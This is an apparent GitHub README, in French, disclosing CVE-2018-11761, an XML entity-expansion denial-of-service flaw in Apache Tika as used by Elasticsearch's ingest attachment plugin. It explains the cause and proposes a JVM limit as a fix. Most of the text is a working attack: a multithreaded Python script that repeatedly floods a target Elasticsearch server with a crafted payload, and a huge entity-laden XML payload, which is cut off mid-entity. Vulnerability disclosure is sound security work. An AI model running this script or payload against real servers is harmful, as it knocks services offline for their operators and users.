brianwrf/cve-2018-11761Apache Tika Vulnérabilité de déni de service (CVE-2018-11761)
Lors d'une récente recherche sur Apache Tika, j'ai découvert une vulnérabilité DOS (Déni de Service) existante sur son analyseur XML. Elle est causée par le fait que l'analyseur analyse incorrectement le document XML.
Comme nous le savons, le plugin core ingest attachment permet à Elasticsearch d'extraire les pièces jointes dans des formats courants (tels que PPT, XLS et PDF) en utilisant la bibliothèque d'extraction de texte Apache Tika. Alors, jetons un coup d'œil au code source du plugin ingest attachment.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
En réalité, le plugin utilise [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) comme analyseur pour extraire le contenu d'un fichier XML. En y regardant de plus près, nous pouvons voir les appels suivants :
* `DcXMLParser()` étend [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` utilise [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) pour analyser les documents XML
* `XMLReaderUtils.parseSAX` invoque [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
Dans la fonction ci-dessus, nous pouvons voir des restrictions de sécurité très limitées pour l'objet SAXParserFactory.newInstance() :```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Selon l'explication d'Oracle, lorsque [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) est activé, il ordonne à l'implémentation de traiter le XML de manière sécurisée. Cela peut imposer des limites sur les constructions XML afin d'éviter des conditions telles que les attaques par déni de service.
Mais en réalité, cela ne permet pas de prévenir complètement contre [l'expansion d'entités XML](http://www.ws-attacks.org/XML_Entity_Expansion). Un attaquant peut toujours envoyer un document XML conçu au serveur ES pour effectuer une attaque DoS via la vulnérabilité d'expansion d'entités XML, comme mentionné dans la section `Proof of Concept`. J'ai vérifié le code source d'Apache Tika : ils activent uniquement la fonctionnalité `XMLConstants.FEATURE_SECURE_PROCESSING`, pensant qu'elle peut protéger contre ce type d'attaque selon [cet article](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html), car elle limite par défaut le nombre d'expansions d'entités à 64 000. Mais en réalité, on peut toujours tirer parti de ces 64 000 expansions d'entités pour générer un objet XML d'amplification en mémoire. Par exemple, la taille du fichier `ES_XML.xml` dans la POC n'est que d'environ 64 Ko, mais une fois téléchargé sur le serveur Tika back-end du serveur ES, Tika devra allouer au moins 6 Mo de mémoire (6 Mo / 64 Ko = 100 fois) pour l'analyser, ce qui entraîne une augmentation rapide de l'utilisation du CPU.
Par conséquent, d'après ma compréhension, une correction possible consiste à définir la propriété système suivante, ce qui limiterait considérablement l'impact selon [le document Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) :```
jdk.xml.entityExpansionLimit=1
La démonstration suivante est testée et vérifiée sur ElasticSearch 6.3.31 qui utilise Tika 1.18 :
poc_dos_es.py :```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)
if name == "main":
# ES server's IP, Port
es_ip = sys.argv[1]
es_port = sys.argv[2]
# Crafted XML file
mal_xml_file = sys.argv[3]
# Number of Processes
thread_num = int(sys.argv[4])
for i in range(thread_num):
i += 1
t = ExploitThread(es_ip, es_port, mal_xml_file, i)
t.start()
* Créez un document XML conçu et enregistrez sous `ES_XML.xml`:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "1234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000